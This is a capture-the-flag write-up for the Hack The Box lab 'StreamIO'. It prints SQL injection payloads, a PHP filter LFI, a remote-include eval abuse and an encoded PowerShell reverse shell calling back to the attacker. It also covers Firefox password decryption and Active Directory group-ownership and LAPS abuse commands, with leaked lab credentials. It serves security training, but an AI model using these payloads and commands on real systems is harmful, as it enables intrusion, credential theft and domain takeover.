Sitemap
Nazarov Samir

Nazarov Samir

HTB: StreamIO

9 min readJun 3, 2026

--

Press enter or click to view image in full size

Machine Link: https://app.hackthebox.com/machines/StreamIO

Enumeration:

Nmap Scan:

Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 05:02 -0400
Nmap scan report for 10.129.9.255
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-03 16:03:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
443/tcp open ssl/https?
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2026-06-03T16:05:21+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

We can see two domains from the nmap result(streamIO.htb , watch.streamIO.htb). Let’s update the hosts file.

Press enter or click to view image in full size

http and https services run on ports 80 and 443.Let’s open both sites in a browser.

Press enter or click to view image in full size
streamio.htb
Press enter or click to view image in full size
watch.streamio.htb

I checked the default credentials (admin:admin, etc.) and login based SQL on the login page of the streamio.htb website, but none of them worked. I created a new account and tried to log in, but that didn’t work either.

There may be hidden pages, so it’s worth running gobuster.

gobuster dir -u https://streamio.htb/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bak
Press enter or click to view image in full size

When I go to the admin page, it gives a 403 forbidden error.

Press enter or click to view image in full size

watch.streamio.htb

Gobuster:

gobuster dir -u https://watch.streamio.htb/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bak
Press enter or click to view image in full size
Press enter or click to view image in full size

SQL injection

Detection:

#payload
' --> no result
';-- - --> everything returned

Column number:

1234' Union select 1,2,3,4,5,6;-- -
Press enter or click to view image in full size

We can return information on columns 2 and 3.

Press enter or click to view image in full size

Databases:

1234' Union select 1,name,3,4,5,6 from master..sysdatabases;-- -
Press enter or click to view image in full size

Tables:

###streamio
1234' Union select 1,name,3,4,5,6 from streamio..sysobjects where xtype = 'u';-- -

###streamio_backup
1234' Union select 1,name,3,4,5,6 from streamio_backup..sysobjects where xtype = 'u';-- -
Press enter or click to view image in full size
streamio tables

But I couldn’t extract any table name for the streamio_backup database.

Columns:

1234' Union select 1,name,3,4,5,6 from syscolumns where id = (select id from sysobjects where name = 'users') ;-- -
Press enter or click to view image in full size

Dump:

1234' Union select 1,concat(username,' : ',password),3,4,5,6 from users ;-- -
Press enter or click to view image in full size
Press enter or click to view image in full size

You can break some of the hashes on hashes.com.

Among these passwords, only the password of the yoshihide user is active.Now you can log in to the streamio.htb site as the yoshihide user.

After logging in, we can go to the admin panel.

Press enter or click to view image in full size

Let’s fuzz the admin path below:

gobuster dir -u https://streamio.htb/admin/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bak
Press enter or click to view image in full size

master.php is a non-default page.

Press enter or click to view image in full size

When visiting the page, it says it can only be accessed with include. This could be a LFI hint. So I fuzzed again to find another one of the user,staff,movie parameters under admin.

ffuf -u "https://streamio.htb/admin/?FUZZ=" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -b PHPSESSID=ivflmpjq0p31b9qak2pbff3412  -fs 1678
Press enter or click to view image in full size
Press enter or click to view image in full size

To check if there is an LFI, let’s fuzz the burp intruder with LFI payloads.

Press enter or click to view image in full size
Press enter or click to view image in full size

Let’s try reading source code using PHP wrappers.

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
Press enter or click to view image in full size

Let’s decode this encoded source code:

<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
<!-- Basic -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<!-- Site Metas -->
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="author" content="" />

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

<!-- Custom styles for this template -->
<link href="/css/style.css" rel="stylesheet" />
<!-- responsive style -->
<link href="/css/responsive.css" rel="stylesheet" />

</head>
<body>
<center class="container">
<br>
<h1>Admin panel</h1>
<br><hr><br>
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
<br><hr><br>
<div id="inc">
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
</div>
</center>
</body>
</html>

It is possible to find the database credentials from the index.php file. However, we cannot do anything at the moment because MSSQL is not accessible from the outside.

#database credentials
db_admin : B1@hx31234567890

When looking at the source code of the master.php file, we can see the dangerous code block at the end:

<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");

In this code block, it accepts a parameter called include with the POST method. If the include parameter is different from index.php, it reads its contents with the file_get_contents() function. And executes the read code as PHP code with eval().
We can retrieve files from a remote server (RFI) with the file_get_contents() function.

Foothold

We only have access to the master.php file with the debug parameter. Therefore, we can intercept the request and change the method to POST to include the remote file with the include parameter. I created a reverse.php file in Kali for reverse shell and made it available on the network with a python server.

Get Nazarov Samir’s stories in your inbox

Join Medium for free to get updates from this writer.

reverse.php

system("powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAA3ACIALAA0ADQANAA0ACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA");
Press enter or click to view image in full size
Press enter or click to view image in full size
yoshihide

Lateral Movement

We just found the database credentials, but we couldn’t connect to it remotely because the mssql port wasn’t open. Now that we’ve got an internal shell as the yoshihide user, we can use these credentials.

We can execute commands in mssql with sqlcmd through a powershell session. But since it does not provide a direct connection, we have to call it separately for each query.

Databases:

sqlcmd -S 'DC' -U db_admin -P 'B1@hx31234567890' -Q 'Select name from master..sysdatabases;'
Press enter or click to view image in full size

We just dumped the STREAMIO database, but we couldn’t extract any data from streamio_backup.

Tables:

sqlcmd -S 'DC' -U db_admin -P 'B1@hx31234567890' -Q 'select name from streamio_backup..sysobjects where xtype="U"'
Press enter or click to view image in full size

Columns:

 sqlcmd --% -S DC -U db_admin -P B1@hx31234567890 -Q "SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')"
Press enter or click to view image in full size

database dump:

sqlcmd --% -S DC -U db_admin -P B1@hx31234567890 -Q "use streamio_backup;SELECT concat(username,' : ',password) from users;"
Press enter or click to view image in full size

Let’s check hashes again on hashes.com.

Press enter or click to view image in full size

We have seen other users besides nikk37 in the streamio database. So let’s check if we can connect with this user.

Press enter or click to view image in full size

Let’s connect with evil-winrm as nikk37 user.

Press enter or click to view image in full size
Press enter or click to view image in full size

Let’s try WinPeas to switch to the Martin user.

Press enter or click to view image in full size

These are the keys needed to encrypt user passwords stored in Firefox. If we can also find the logins.json file, we can read the passwords in plain text.

Press enter or click to view image in full size

You can use the firepwd.py tool to open encrypted files.

python3 firepwd.py /root/Desktop/htb/StreamIO/key4.db /root/Desktop/htb/StreamIO/logins.json

Let’s confirm credentials:

Press enter or click to view image in full size

The JDgodd user is in the domain, but we cannot connect because he is not a member of the “Remote Management User” group.

Let’s map the domain with bloodhound and look for any dangerous privileges for the JDgodd user.

bloodhound-python -u nikk37 -p 'get_dem_girls2@yahoo.com' -d streamio.htb  -ns 10.129.10.38  -c all --zip
Press enter or click to view image in full size

We can see that the Jdgodd user has WriteOwner permission on the Core STAFF group.

Press enter or click to view image in full size

Core Staff group members have ReadLAPSPassword permission on the DC.

Press enter or click to view image in full size

NOTE:
WriteOwner
: The right to take ownership of the target object. Once you become the owner, you change all of its permissions and take full control of the object.
ReadLAPSPassword: The right to read the computer’s local Administrator password directly from Active Directory in cleartext.

Let’s change the ownership of the “CORE STAFF” group.

impacket-owneredit -action write -new-owner 'jdgodd' -target 'CORE STAFF' 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'
Press enter or click to view image in full size

To read passwords from LDAP, we need to make ourselves a member of that group. To do this, first of all, our user must have WriteMembers permission on that group.

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'jdgodd' -target 'CORE STAFF' 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'
Press enter or click to view image in full size

Now let’s add the jdgodd user to the “CORE STAFF” group.

 net rpc group addmem "CORE STAFF" "jdgodd" -U "streamio.htb"/"JDgodd"%"JDg0dd1s@d0p3cr3@t0r" -S "dc.streamio.htb"
Press enter or click to view image in full size

Let’s confirm that we are members of the Core Staff group.

Press enter or click to view image in full size

We can now read the Administrator password from LAPS.

nxc ldap streamio.htb -u 'jdgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -M laps
Press enter or click to view image in full size

Administrator:

Press enter or click to view image in full size
Press enter or click to view image in full size
system

If I make any mistakes, please let me know.

--

--